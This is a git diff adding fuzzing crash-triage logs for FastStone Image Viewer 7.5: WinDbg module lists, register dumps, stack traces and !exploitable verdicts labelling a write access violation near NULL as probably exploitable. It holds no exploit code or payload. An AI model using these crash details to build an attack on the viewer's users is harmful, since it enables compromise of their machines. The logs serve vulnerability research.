+Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xAC4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xAC4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ac4.1d00): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e97b19 edx=00000000 esi=00000000 edi=0fd18fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.83821e-010 6.71027e-015 3.06806e+018 6.26868e-019 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003ba000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003ba000 464cac96 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62af 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003ba000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..92b6696 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xAC4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xAC4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ac4.1d00): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e97b19 edx=00000000 esi=00000000 edi=0fd18fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.83821e-010 6.71027e-015 3.06806e+018 6.26868e-019 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003ba000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003ba000 464cac96 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62af 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003ba000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..d85d562 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x6CC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x6CC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 